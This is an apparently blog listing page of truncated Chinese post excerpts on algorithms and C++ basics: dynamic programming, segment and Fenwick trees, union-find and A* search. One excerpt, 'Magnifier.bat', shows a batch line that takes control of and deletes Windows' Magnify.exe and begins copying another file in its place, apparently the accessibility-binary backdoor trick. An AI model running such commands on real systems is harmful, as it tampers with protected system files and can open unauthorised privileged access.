原创 5月6日動態規劃測試解題報告

5月6日動態規劃測試解題報告 第一題:免費餡餅 Problem description: 都說天上不會掉餡餅,但有一天gameboy正走在回家的小徑上,忽然天上掉下大把大把的餡餅。說來gameboy的人品實在是太好了,這餡餅別處都

原创 放大鏡.bat

cacls C:\Windows\System32\Magnify.exe /p administrators:f del /a/s/Q C:\Windows\System32\Magnify.exe copy C:\Window

原创 Enum

Enum概況 enum枚舉類型是C/C++中的一種數據類型,與struct和class一樣是用戶自定義的類型,其特點在於enum類型的變量取值是有限的,是可以一一列舉出來的。 Enum定義 C++ enum枚舉格式: enum

原创 樹狀數組模板

已知一個數列,你需要進行下面兩種操作: 1.將某區間每一個數數加上x 2.求出某一個數的和 這種水水的樹狀數組,博主就不做介紹,直接上代碼,希望大家可以多多捧場! #include<iostream> #include

原创 動態規劃——經典例題(一)

一、合併石子 【問題描述】 一個操場上一排地擺放着N堆石子,現要將石子有序地合併爲一堆。規定每次只能選相鄰的2堆石子合併成新的一堆,並將新的一堆石子數記爲該次合併的得分。 【編程任務】 試設計一個程序,計算出將N堆石子合併成一

原创 指針入門

現在的Java、C#等語言已經取消了指針,但作爲一個C++程序員,指針的直接操作內存,在數據操作方面有着速度快,節約內存等優點,仍是很多C++程序員的最愛。指針就像是一把良劍,就看你怎麼去應用它! 什麼是指針?   其實指針就像是

原创 類(class)

一、C++類的定義 C++中使用關鍵字 class 來定義類, 其基本形式如下: class 類名 { public: //行爲或屬性 protected: //行爲或屬性 private: //行爲或屬性 }; 示例:

原创 POJ3486 線段樹

2017年3月15日 | ljfcnyali POJ3486是一道經典線段樹題目,題目大意是: 給出了一個序列,你需要處理如下兩種詢問。 “C a b c”表示給[a, b]區間中的值全部增加c (-10000 ≤ c ≤

原创 POJ1328 貪心

2017年3月18日 | ljfcnyali 題目大意 地圖的x軸的上方爲海,下方爲陸地,海中有n個小島,座標爲(isl[i].x,isl[i].y)。有一種雷達,能探測到的範圍爲以d爲半徑的圓。問海岸線上至少造多少雷達可以

原创 動態規劃——揹包問題(二)

三、多重揹包問題 問題: 有N種物品和一個容量爲v的揹包。第i種物品最多有n[i]件可用,每件費用是w[i],價值是c[i]。求解將哪些物品裝入揹包可使這些物品的費用總和不超過揹包的,且價值總和最大。 基本算法: 這個題目和

原创 A*啓發式搜索模板

博主本身很想提高一下自己的水平,於是打算寫一下以前一直覺得很難的A*啓發式搜索,努力工作了一個多小時,終於把這麼一個噁心的程序調試完成了(不要問我啓發式搜索是什麼,網上有的是,博主只是給大家提供一下參考代碼),這個代碼都有註釋,而

原创 一篇寫並查集的好文章

http://blog.csdn.net/dellaserss/article/details/7724401 點贊 收藏 分享 文章舉報 cjoier_zouzhen1

原创 HDU2454 判定簡單圖

2017年3月18日 | ljfcnyali 題目大意: 給出一個圖的每個點的度的序列,求能否構成一個簡單圖; Sample Input 2 6 4 4 3 3 2 2 4 2 1 1 1 Sample Output yes

原创 歡迎使用CSDN-markdown編輯器

歡迎使用Markdown編輯器寫博客 本Markdown編輯器使用StackEdit修改而來,用它寫博客,將會帶來全新的體驗哦: Markdown和擴展Markdown簡潔的語法 代碼塊高亮 圖片鏈接和圖片上傳 LaTex數學公

原创 POJ2492 並查集

2017年3月16日 | ljfcnyali 題目大意: 有點bt,就是正常昆蟲是異性交配,輸入一對就代表這一對交配了,讓你看這一羣昆蟲是否有同性戀! Input: 輸入的第一行包含方案數量。每個方案以一行給出錯誤數量(